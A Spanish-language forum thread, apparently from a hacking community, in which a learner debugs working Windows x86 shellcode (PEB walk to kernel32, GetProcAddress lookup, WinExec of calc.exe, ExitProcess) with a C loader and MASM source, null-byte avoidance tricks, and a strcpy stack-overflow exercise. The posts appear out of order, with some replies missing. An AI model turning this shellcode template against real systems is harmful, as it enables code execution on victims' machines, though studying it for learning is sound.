Mensajes

tengo un codigo asm que funciona perfectamente y que he pasado a shellcode. Pero al intentarlo ejecutar como shellcode medá un access violation. La shellcode no contienenulos y como ya he dicho, ejecutada por si misma funciona perfectamente.

alguna idea de porqué puede pasar esto?

este es el programa: (y access violation lo he comprobado con olly y es justo al entrar en los opcodes de la shellcode).

#include <stdio.h>
#include <string.h>
//#include <stdafx.h>
#include <windows.h>

char code[] = "\x33\xDB\x64\x8B\x5B\x30\x8B\x5B\x0C\x8B\x5B\x1C\x8B\x1B\x8B\x1B\x8B\x5B\x08\x8B\xC3\x50\x8B\x34\x24\x03\x76\x3C\x8B\x56\x78\x03"
"\x14\x24\x8B\xCA\x83\xC1\x1F\x41\x8B\x19\x03\x1C\x24\x33\xC0\x8B\x3B\x03\x3C\x24\x81\x3F\x47\x65\x74\x50\x75\x1A\x81\x7F\x04\x72"
"\x6F\x63\x41\x75\x11\x81\x7F\x08\x64\x64\x72\x65\x75\x08\x66\x81\x7F\x0C\x73\x73\x74\x0A\x90\x83\xC3\x04\x40\x3B\x42\x18\x75\xCF"
"\x8B\x72\x24\x03\x34\x24\x33\xC9\x66\x8B\x0C\x46\x8B\x7A\x1C\x03\x3C\x24\x8B\x04\x8F\x03\x04\x24\x8B\x34\x24\x32\xD2\x83\xEC\x0B"
"\xC6\x45\xF8\x57\xC6\x45\xF9\x69\xC6\x45\xFA\x6E\xC6\x45\xFB\x45\xC6\x45\xFC\x78\xC6\x45\xFD\x65\xC6\x45\xFE\x63\x88\x55\xFF\x8D"
"\x4D\xF8\x51\x56\x8B\xD8\xFF\xD0\x32\xD2\x83\xEC\x11\xC6\x45\xF7\x63\xC6\x45\xF8\x61\xC6\x45\xF9\x6C\xC6\x45\xFA\x63\xC6\x45\xFB"
"\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x88\x55\xFF\x8D\x4D\xF7\x6A\x05\x51\xFF\xD0\x32\xD2\x83\xEC\x20\xC6\x45\xEE"
"\x45\xC6\x45\xEF\x78\xC6\x45\xF0\x69\xC6\x45\xF1\x74\xC6\x45\xF2\x50\xC6\x45\xF3\x72\xC6\x45\xF4\x6F\xC6\x45\xF5\x63\xC6\x45\xF6"
"\x65\xC6\x45\xF7\x73\xC6\x45\xF8\x73\x88\x55\xF9\x8D\x4D\xEE\x51\x56\xFF\xD3\x33\xC9\x51\xFF\xD0";

typedef void (*pfnc_initDevice)(void);

int main()
{
pfnc_initDevice pfnc=(pfnc_initDevice)&code[0];
pfnc();
return 0;
}

sí, yo tambien lo he comprobado, sí lo hace. Por cierto tambien he comprobado que no tiene sentido guardar el valor de ebp en la pila si luego no se va a recuperar.
De todas formas ya que estoy lanzado apreguntar... todavía me queda una última duda. Si os fijais el espacio que se resta al esp no es el mismo que eltamaño de la cadena. Por ejemplo "calc.exe" tiene 8 caracteres + 1 caracter nulo = 9 caracteres. Pero he comprobado de forma empírica, que si no resto 11h a la pila no funciona el programa. No funciona porque aunque la cadena parece ser que la reconoce (pues aparece "calc.exe" en la pila..., al llamar a winexec devuelve file not found. Es decir que se ha de restar un número mayor o igual a 11h, con 10h o menor ya no funciona.

Lo mismo pasa con las otras dos cadenas, con "winexec" y con "ExitProcess" en los cuales hay que reservar más espacio en la pila del en realidad necesitan. no así, es necesario colocar la cadena desde el principio, ya que puedo posicionar los caracteres, en lugar de desde la posición ebp-11h, hacerlo desde la ebp-09h.

Vuelvo a poner el código que tengo ahora ya que he modificado algunas cosas.

Código [Seleccionar] Expandir

.386
.model flat, stdcall  ;32 bit memory model
option casemap :none  ;case sensitive
assume fs:nothing

.code

dirFuncion proc
; ******************************************
; Buscamos la dirección base de kernel32.dll
; ******************************************
      xor ebx, ebx    ;utilizamos ebx en lugar de eax porque con eax salen caracteres nulos. Al final movemos ebx -> eax para tenerloigual que antes.
      mov ebx, fs:[ebx+30h]
      mov ebx, [ebx+0Ch]
      mov ebx, [ebx+1Ch]
      mov ebx, [ebx] 
      mov ebx, [ebx]
      mov ebx, [ebx+08h]
      mov eax, ebx
   push eax ; guardamos en la pila la direccion base de kernel32.dll

; ***********************************************************************
; Buscamos la direccion de GetProcAddress dada la direccion base de kernel32.dll
; ***********************************************************************
busca_funcion:
   mov esi, [esp] ; puntero a la direccion base
   add esi, [esi+03Ch] ; puntero a PE signature
   mov edx, [esi+078h] ; puntero a la Export table
   add edx, [esp] ; sumamos la direccion base

   mov ecx, edx ; esto evita meter el 20h (un espacio) que nos corta la shellcode
   add ecx, 1fh
   inc ecx
   mov ebx, [ecx] ; puntero al array AddressOfNames
   add ebx, [esp]
   xor eax, eax ; indice de AddressOfNames

bucle_funcion: ; buscamos la funcion a partir de la direccion base
   mov edi, [ebx]
   add edi, [esp]

   ; como ya no usamos el segmento .data, comparamos directamente el nombre de
   ; la libreria y para ello la introducimos al reves. Ademas, al ser 7 bytes,
   ; tenemos que separar en un dword, un word y un byte, para que no nos coja
   ; ningun caracter nulo
   cmp dword ptr [edi], 50746547h
   jnz funcion_no_encontrada
   cmp dword ptr [edi + 4], 41636f72h
   jnz funcion_no_encontrada
   cmp dword ptr [edi + 8], 65726464h
   jnz funcion_no_encontrada
   cmp word ptr [edi + 12], 7373h
   je funcion_encontrada
   
funcion_no_encontrada:
   nop ; ponemos un NOP aqui porque tras depurar con el Olly
; vi que usaba \x09 (tabulador) y me rompia la shellcode
; de esta forma amplio el salto en un byte y en lugar de
; 09 pondra 0A
   add ebx, 4
   inc eax
   cmp eax, dword ptr [edx+18h]
   jnz bucle_funcion

funcion_encontrada:
   mov esi, dword ptr [edx + 24h] ; puntero a la tabla de ordinales
   add esi, [esp] ; añadimos la direccion base
   xor ecx, ecx
   mov cx, word ptr [esi + 2 * eax] ; cx = numero de la funcion que se ha encontrado
   mov edi, dword ptr [edx + 1ch] ; puntero a la tabla de direcciones
   add edi, [esp] ; añadimos la direccion base
   mov eax, dword ptr [edi + 4 * ecx] ; puntero a la función encontrada
   add eax, [esp] ; añadimos la direccion base y tenemos la direccion de getprocadress en eax
   pop esi   ;con esto quitamos el valor base del kernel32 que de lo contrario seria la proxima instruccion a ejecutar, y lo metemos en esi para no perderlo
   ;leave    ;esta instruccion es para dejar la pila como estaba, en este ejemplo se he echo manualmente enla instruccion anterior
   ret
dirFuncion endp

start:


   
; **********************************
; programa principal
; **********************************

   call dirFuncion

   ;mov esi, [esp]
   ;push ebp
   ;mov ebp, esp
   xor dl, dl
   sub esp, 0bh ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-08h], 57h  ; 'W'
   mov byte ptr [ebp-07h], 69h  ; 'i'
   mov byte ptr [ebp-06h], 6eh  ; 'n'
   mov byte ptr [ebp-05h], 45h  ; 'E'
   mov byte ptr [ebp-04h], 78h  ; 'x'
   mov byte ptr [ebp-03h], 65h  ; 'e'
   mov byte ptr [ebp-02h], 63h  ; 'c'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, [ebp-08h] ; cargamos la direccion que apunta a nuestra cadena
   push ecx
   push esi       ;dirección base de kernel32
   call eax ; llamamos a getprocadress
   ;mov esp,ebp
   ;pop ebp

   ;push ebp
   ;mov ebp, esp
   xor dl, dl
   sub esp, 11h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-09h], 63h  ; 'c'
   mov byte ptr [ebp-08h], 61h  ; 'a'
   mov byte ptr [ebp-07h], 6Ch  ; 'l'
   mov byte ptr [ebp-06h], 63h  ; 'c'
   mov byte ptr [ebp-05h], 2Eh  ; '.'
   mov byte ptr [ebp-04h], 65h  ; 'e'
   mov byte ptr [ebp-03h], 78h  ; 'x'
   mov byte ptr [ebp-02h], 65h  ; 'e'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, [ebp-09h] ; cargamos la direccion que apunta a nuestra cadena
   push 5   ;parametro de winexec (show)
   push ecx
   call eax    ;llamamos a winexec
   ;mov esp,ebp
   ;pop ebp

   call dirFuncion   ;llamamos a la funcion para obtener el geptrocaddress

   ;push ebp
   ;mov ebp, esp
   xor dl, dl
   sub esp, 20h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-12h], 45h  ; 'E'
   mov byte ptr [ebp-11h], 78h  ; 'x'
   mov byte ptr [ebp-10h], 69h  ; 'i'
   mov byte ptr [ebp-0fh], 74h  ; 't'
   mov byte ptr [ebp-0eh], 50h  ; 'P'
   mov byte ptr [ebp-0dh], 72h  ; 'r'
   mov byte ptr [ebp-0ch], 6fh  ; 'o'
   mov byte ptr [ebp-0bh], 63h  ; 'c'
   mov byte ptr [ebp-0ah], 65h   ; 'e'
   mov byte ptr [ebp-09h], 73h   ; 's'
   mov byte ptr [ebp-08h], 73h   ; 's'
   mov byte ptr [ebp-07h], dl   ; '0'
   lea ecx, [ebp-12h] ; cargamos la direccion que apunta a nuestra cadena
   push ecx
   push esi       ;dirección base de kernel32
   call eax ; llamamos a getprocadress
                    ;obtenemos direccion de exitprocess
   xor ecx, ecx
   push ecx
   call eax        ;llamamos a exitprocess


end start

oh, mein god. Era el dl tal y como tú decías. Para ser sincero no sabia que era un registro y que debía de ser una especie de variable definida antes. Vale ahí estaba el fallo. de todas formas sigo sin entender lo de antes y me gustaría aclararlo ahora que ya esta el temainiciado y que estoy tan próximo a resolverlo. Me refiero a si es necesario almacenar el ebp en la pila para luego elevarlo. Recordemos que no se tratade una función sino de meter manualmente una cadena en lapila, Y en caso de que se hiciese... ¿no habría que recuperarlo (el ebp me refiero) al final una vez introducida la cadena?

Desde ya muchas gracias pues te confirmo que era ese el problema, gracias!

¡gracias! por tu ayuda. Por lo menos ya se algo más. Además y a raíz de eso se me ocurre que puede haber un pequeño fallo en el mantenimiento de la integridad de lapila (quelo hay seguro y seguro que más de uno pero a saber donde están...). Y consiste en que aunque se guarde el ebp y mover el esp (para meter la cadena en la pila) luego de meter la cadena no se recupera por ningún sitio.

con respecto a depurar el programa con olly te diré que ya lo he hecho y visto lo que pasa en la pila sólo que no entiendo que es loque pasa. Sólo te puedo decir que el paso que falla es al llamar a EndProcess ya que aunque la cadena se introduce en lapila (veo los codigos ascii ahi metidos) no se reconoce como tal y falla al llamar a getprocadress (devuelve el error número 2:file not found), pues nohay una cadena correcta en los parámetros pasados.

[El Hacker]

bueno como la pregunta es así muy general voy a intentar preguntar alo más concreto a ver si poco a poco lo voy entendiendo. En primer lugar: como podeis ver lo que hago es meter las cadenas "manualmente" en la pila para luego utilizarlas como parametro al llamar a las funciones correspondientes. Por qué es necesario entonces (si es que realmente lo es) hacer estas dos instrucciones antes de meter las cadenas?

Código (asm) [Seleccionar] Expandir

  push ebp
  mov ebp, esp
Me muestro dudoso de que sea necesario pues he comprobado que no siempre es necesario y que el programa funciona igual lo haga o no.

bien esa es la primera duda, espero me podais ayudar puesto que no puedo encontrar informacion sobre esto en ningún otro sitio. El Hacker es mi última esperanza.

Un saludo.

no tengo muy claro que es lo que falla con este codigo. Es un programa en asebler que lanza la calcularora, y está pensado para ser convertido en una shellcode. Está basado en el típico ejemplo que se usa para hacer una shellcode, y en general su estructura es esta:
funcion que busca dirección de getprocaddress
buscar direccion de winexec
ejecutar winexec calc.exe
buscar direccion de exitprocess
ejecutar exitprocess

Funciona correctamente hasta llegar a buscar la dirección de exitprocess. Al llegar ahí, algún fallo hay al meter la cadena en la pila y no reconoce tal cadena, y getprocaddress no encuentra su dirección.
Podría ser que se pierde la integridad de la pila, la verdad el tema de la integridad de la pila no lo he logrado entender. Así que pongo el código a ver si podeis confirmarme algo.

Código (asm) [Seleccionar] Expandir

.386
.model flat, stdcall  ;32 bit memory model
option casemap :none  ;case sensitive
assume fs:nothing

.code

dirFuncion proc
; ******************************************
; Buscamos la dirección base de kernel32.dll
; ******************************************
     xor ebx, ebx    ;utilizamos ebx en lugar de eax porque con eax salen caracteres nulos. Al final movemos ebx -> eax para tenerloigual que antes.
     mov ebx, fs:[ebx+30h]
     mov ebx, [ebx+0Ch]
     mov ebx, [ebx+1Ch]
     mov ebx, [ebx]  
     mov ebx, [ebx]
     mov ebx, [ebx+08h]
     mov eax, ebx
  push eax ; guardamos en la pila la direccion base de kernel32.dll

; ***********************************************************************
; Buscamos la direccion de GetProcAddress dada la direccion base de kernel32.dll
; ***********************************************************************
busca_funcion:
  mov esi, [esp] ; puntero a la direccion base
  add esi, [esi+03Ch] ; puntero a PE signature
  mov edx, [esi+078h] ; puntero a la Export table
  add edx, [esp] ; sumamos la direccion base

  mov ecx, edx ; esto evita meter el 20h (un espacio) que nos corta la shellcode
  add ecx, 1fh
  inc ecx
  mov ebx, [ecx] ; puntero al array AddressOfNames
  add ebx, [esp]
  xor eax, eax ; indice de AddressOfNames

bucle_funcion: ; buscamos la funcion a partir de la direccion base
  mov edi, [ebx]
  add edi, [esp]

  ; como ya no usamos el segmento .data, comparamos directamente el nombre de
  ; la libreria y para ello la introducimos al reves. Ademas, al ser 7 bytes,
  ; tenemos que separar en un dword, un word y un byte, para que no nos coja
  ; ningun caracter nulo
  cmp dword ptr [edi], 50746547h
  jnz funcion_no_encontrada
  cmp dword ptr [edi + 4], 41636f72h
  jnz funcion_no_encontrada
  cmp dword ptr [edi + 8], 65726464h
  jnz funcion_no_encontrada
  cmp word ptr [edi + 12], 7373h
  je funcion_encontrada
 
funcion_no_encontrada:
  nop ; ponemos un NOP aqui porque tras depurar con el Olly
; vi que usaba \x09 (tabulador) y me rompia la shellcode
; de esta forma amplio el salto en un byte y en lugar de
; 09 pondra 0A
  add ebx, 4
  inc eax
  cmp eax, dword ptr [edx+18h]
  jnz bucle_funcion

funcion_encontrada:
  mov esi, dword ptr [edx + 24h] ; puntero a la tabla de ordinales
  add esi, [esp] ; añadimos la direccion base
  xor ecx, ecx
  mov cx, word ptr [esi + 2 * eax] ; cx = numero de la funcion que se ha encontrado
  mov edi, dword ptr [edx + 1ch] ; puntero a la tabla de direcciones
  add edi, [esp] ; añadimos la direccion base
  mov eax, dword ptr [edi + 4 * ecx] ; puntero a la función encontrada
  add eax, [esp] ; añadimos la direccion base y tenemos la direccion de getprocadress en eax
  pop esi   ;con esto quitamos el valor base del kernel32 que de lo contrario seria la proxima instruccion a ejecutar, y lo metemos en esi para no perderlo
  ;leave    ;esta instruccion es para dejar la pila como estaba, en este ejemplo se he echo manualmente enla instruccion anterior
  ret
dirFuncion endp

start:


 
; **********************************
; programa principal
; **********************************

  call dirFuncion

  ;mov esi, [esp]
  ;push ebp
  ;mov ebp, esp
  xor dl, dl
  sub esp, 0fh ; dejamos espacio en la pila para meter nuestra cadena
  mov byte ptr [ebp-0ah], 57h  ; 'W'
  mov byte ptr [ebp-09h], 69h  ; 'i'
  mov byte ptr [ebp-08h], 6eh  ; 'n'
  mov byte ptr [ebp-07h], 45h  ; 'E'
  mov byte ptr [ebp-06h], 78h  ; 'x'
  mov byte ptr [ebp-05h], 65h  ; 'e'
  mov byte ptr [ebp-04h], 63h  ; 'c'
  mov byte ptr [ebp-03h], dl   ; 0x00
  lea ecx, [ebp-0ah] ; cargamos la direccion que apunta a nuestra cadena
  push ecx
  push esi       ;dirección base de kernel32
  call eax ; llamamos a getprocadress
 
  ;push ebp
  ;mov ebp, esp
  sub esp, 11h ; dejamos espacio en la pila para meter nuestra cadena
  mov byte ptr [ebp-11h], 63h  ; 'c'
  mov byte ptr [ebp-10h], 61h  ; 'a'
  mov byte ptr [ebp-0fh], 6Ch  ; 'l'
  mov byte ptr [ebp-0eh], 63h  ; 'c'
  mov byte ptr [ebp-0dh], 2Eh  ; '.'
  mov byte ptr [ebp-0ch], 65h  ; 'e'
  mov byte ptr [ebp-0bh], 78h  ; 'x'
  mov byte ptr [ebp-0ah], 65h  ; 'e'
  mov byte ptr [ebp-09h], dl   ; 0x00
   push 5   ;parametro de winexec (show)
  lea ecx, [ebp-11h] ; cargamos la direccion que apunta a nuestra cadena
  push ecx
  call eax    ;llamamos a winexec
 
  call dirFuncion   ;llamamos a la funcion para obtener el geptrocaddress
 
  ;push ebp
  ;mov ebp, esp
  sub esp, 20h ; dejamos espacio en la pila para meter nuestra cadena
  mov byte ptr [ebp-12h], 45h  ; 'E'
  mov byte ptr [ebp-11h], 78h  ; 'x'
  mov byte ptr [ebp-10h], 69h  ; 'i'
  mov byte ptr [ebp-0fh], 74h  ; 't'
  mov byte ptr [ebp-0eh], 50h  ; 'P'
  mov byte ptr [ebp-0dh], 72h  ; 'r'
  mov byte ptr [ebp-0ch], 6fh  ; 'o'
  mov byte ptr [ebp-0bh], 63h  ; 'c'
  mov byte ptr [ebp-0ah], 65h   ; 'e'
  mov byte ptr [ebp-09h], 73h   ; 's'
  mov byte ptr [ebp-08h], 73h   ; 's'
  mov byte ptr [ebp-07h], dl   ; '0'
  lea ecx, [ebp-12h] ; cargamos la direccion que apunta a nuestra cadena
  push ecx
  push esi       ;dirección base de kernel32
  call eax ; llamamos a getprocadress
                   ;obtenemos direccion de exitprocess
  xor ecx, ecx
  push ecx
  call eax        ;llamamos a exitprocess
 

end start

;ml -c -coff -Cp e:\masm_archivos\shellcode_getprocaddress_exitprocess2\shellcode_getprocaddress_exitprocess2.asm
;link /SUBSYSTEM:WINDOWS shellcode_getprocaddress_exitprocess2.obj

o ps claro que se ve!, en el main vas a haber una llamada hacia la funcion... y si la seguis encontraras alli la funcion por ejemplo printf... y claro en el mismo main es donde le dan los parametros a la pila.

y para llegar al main solo pongo un BP al iniciar la funcion y ya estas parado alli =/

Salu2!

he conseguido ver el overflow en la pila.

La función printf la he encontrado sumergiendome en varias llamadas a funciones pero el olly lanzaba un mensaje de FILE NOT FOUND antes de llegar al printf (por supuesto en este caso no metía a's a destajo para hacer overflow sino que no metía parámetros ninguno para que se ejecutara el printf). Poniendo como parámetro aaaa (caso en el que no hay overflow) tambien mostraba ese error (FILE NOT FOUND) al finalizar. Y en el caso del overlow tambien el mismo mensaje. Es algo que no he conseguido entender y que me ha despistado mucho.De todas formas no tiene importancia pues lo único importante es ver el overflow de la pila.

de todas formas sigo pensando lo mismo que al principio, es decir es imposible seguir este programa, no se como os aparecerá a vosotros pero el mio tiene INNUMERABLES calls, y cuando digo innumerables digo más de 20 seguros, y pueden ser muchos más.

Tengo que decir que noy newbie en esto de la programación a bajo nivel y que quizá esto sea lo normal. Pero es que no me imaginaba que un programa tan simple pudiese tener taaaanto código. Hay una diferencia enorme con respecto a los programas en assembly con masm en los cuales lo que pones es lo que aparece en olly.

Probaré ese otro depurador que me recomendais a ver que tal.

Un saludo.

no, si lo que parece ser el main ya lo he encontrado, está en el segundo salto. Lo que pasa es que ahí no aparece ninguna orden reconocible, (el printf por ejemplo), aparece dentro de una función con un nivel de anidamiento cinco o seis, y antes de ella hay montones de llamadas con subllamadas anidadas, lo que me hace imposible debuguearlo, primero porque si lo hago con f8, no entra en las funciones y por lo tanto no veo como se llena la pila de a's y segundo porque con f7 creo que no me llega un día entero para hacerlo con f7. No se si algo va mal con mi compilador pero es así, parece un sueño dentro de otro sueño como en la película.

Por si fuera poco (aunque parece que se ejecuta sin problemas desde la linea de comandos) al depurarlo, me aparece un error (FILE NOT FOUND) en la ventana de registros. Como inteneté buscarlo pero imposible, está dentro de una llamada a una api del kernel32 y ahí no me deja poner breakpoints con lo cual tendría que ir manualmente con f7/f8 y es imposible ya lo he dejado porque despues de horas intentandolo encontraba que el error estaba siempre dentro de una subfunción.

En ningún tutorial he visto que haya este tipo de problemas a la hora de depurarlo, ni siquiera en las preguntas del foro, y me ha extrañado bastante. ¿será cosa del windows7(32)?

qué, tal cómo va? Una vez más tengo una duda con un codigo, en este caso estoy intentando seguir el ejemplo de rojodos para hacer un stack overflow. El programa en cuestión es el del ejemplo:
#include <stdio.h>
#include <string.h>

int main (int argc, char **argv)
{
   char buffer[64];
   if (argc < 2)
   {
      printf ("Introduzca un argumento al programa\n");
      return 0;
   }
   strcpy (buffer, argv[1]);
   return 0;
}

al ejecutarlo funciona tal y como era de esperar, y peta cuando se le pasan más de 64 a's como argumento.

Pero al depurarlo con olly meda un error que aparece reflejado en la pantalla de los registros. el error es FILE_NOT_FOUND y soy incapaz de encontrar cual es la funcion que produce el error ya que es increíble la de llamadas a funciones anidadas y sin anidar, a las que llama el programita. Y eso que sólo hace un if y un printf. Es imposible seguir el manual de rojodos ya que como he dicho el número de funciones llamadas es increíble.
Lo estoy complilando con dev c++ pero si lo compilo con visual c++ es todavía mayor el numero de subfunciones a las que se llaman.

Por qué este tan alto número de llamadas a funciones y apis? estoy utilizando windows7, y he comprobado que los únicos programas que se pueden seguir sin perderse son los creados con masm. Los creados con dev c++ y visual c++ son un auténtico laberinto.

00401000 > $  99               CDQ
00401001   .  64:8B52 30    MOV EDX, DWORD PTR FS:[EDX+30]

Salu2! Nox!

este me ha funcionado para ese caso pero para los otrosddos nulos no me ha funcionado nada:

0040100C   . 8B00                     MOV EAX,DWORD PTR DS:[EAX]
0040100E   . 8B00                     MOV EAX,DWORD PTR DS:[EAX]

nose, cómo puedo quitar estos dos nulos?